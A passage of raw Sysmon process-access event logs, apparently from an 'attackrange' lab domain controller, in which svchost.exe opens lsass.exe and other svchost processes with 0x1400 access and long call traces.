C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.406\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.406","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.406\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.406","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.406\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.406","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 